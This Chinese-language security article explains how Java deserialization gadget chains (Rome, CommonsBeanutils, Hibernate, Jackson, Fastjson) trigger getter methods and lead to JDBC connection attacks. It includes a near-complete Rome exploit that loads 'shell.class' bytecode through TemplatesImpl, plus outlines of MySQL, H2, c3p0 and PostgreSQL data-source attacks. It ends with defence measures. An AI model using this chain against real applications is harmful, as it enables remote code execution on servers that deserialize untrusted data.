深入解析 Getter 方法的安全风险:源点调用与 JDBC 攻击
字数 1583 2025-08-29 08:29:58
深入解析 Getter 方法的安全风险:源点调用与 JDBC 攻击
前言
Getter 方法是 Java 开发中常用的方法类型,用于获取对象的属性值。然而,在某些情况下,Getter 方法的调用可能成为安全漏洞的源头,特别是在反序列化场景中。本文将详细分析 Getter 方法的安全风险,特别是如何通过反序列化触发 Getter 方法,并探讨 JDBC 相关的攻击方法。
如何触发 Getter 方法
Rome 反序列化
依赖:
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>
示例代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Bad {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
javax.management.BadAttributeValueExpException badAttributeValueExpException =
new javax.management.BadAttributeValueExpException(toStringBean);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
// 辅助方法省略...
}
关键调用栈:
getOutputProperties:506, TemplatesImplinvoke0:-1, NativeMethodAccessorImpltoString:137, ToStringBean
原理:
ToStringBean 类在 toString 方法中会循环调用对象的 Getter 方法,从而触发 TemplatesImpl 的 getOutputProperties 方法。
CB (Commons-Beanutils) 链子
依赖:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
关键调用栈:
getOutputProperties:506, TemplatesImplinvokeMethod:2116, PropertyUtilsBeancompare:163, BeanComparator
原理:
BeanComparator 的 compare 方法会通过 PropertyUtils.getProperty 调用对象的 Getter 方法:
public int compare(T o1, T o2) {
if (property == null) {
return internalCompare(o1, o2);
}
try {
Object value1 = PropertyUtils.getProperty(o1, property);
Object value2 = PropertyUtils.getProperty(o2, property);
return internalCompare(value1, value2);
} catch (Exception e) {
throw new RuntimeException(e.toString());
}
}
Hibernate 反序列化
原理:
Hibernate 的 BasicPropertyAccessor 类会通过 getGetter -> createGetter -> getGetterOrNull -> getterMethod 流程获取所有 Getter 方法,然后在静态类中触发。
Jackson 原生反序列化
原理:
利用 POJONode 的 toString 方法触发 Getter 方法。参考链接:https://xz.aliyun.com/t/12509
Fastjson 原生
原理:
与 Jackson 类似,使用 JSON 的 toJSONString 方法触发 Getter 方法。
JDBC 的利用
MysqlDataSource
POC:
// 使用 Fastjson 原生修改的示例
// 首先生成一个 DNS 的 base64 编码后的数据
// 然后启动 fakemysql
// 运行代码
调试分析:
- 从 Getter 到 getConnection 方法
- 获取传入参数
- 进入重写的 getConnection 方法
- 最终调用 mysqlDriver.connect 触发 JDBC 连接
DriverManagerDataSource
依赖:
<dependency>
<groupId>com.mchange</groupId>
<artifactId>mchange-commons-java</artifactId>
<version>0.2.11</version>
</dependency>
H2 数据库利用:
- 参数解析只接收 user 和 password
- 在 createProps 方法中进行连接
c3p0-DriverManagerDataSource
原理:
通过 getConnection 方法触发连接,可以攻击多种连接类型。
PGSimpleDataSource (PostgreSQL)
依赖:
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.2.8</version>
</dependency>
三种攻击方法:
- 加载远程 XML 文件
- 其他方法...
POC XML 文件:
<!-- 远程 XML 文件内容 -->
调试分析:
- URL 在 getUrl 方法中拼接
- 初始化 URL 并拼接服务器名称、端口号、数据库名称和查询参数
- 最终触发连接
总结
Getter 方法的安全风险主要体现在:
- 反序列化过程中可能被自动调用
- 通过 Rome、CB、Hibernate、Jackson、Fastjson 等框架触发
- JDBC 连接可以通过 Getter 方法触发,导致远程连接或文件加载
防御措施:
- 谨慎实现 Getter 方法,避免敏感操作
- 对反序列化过程进行严格控制
- 使用安全的 JDBC 连接配置
- 及时更新相关框架版本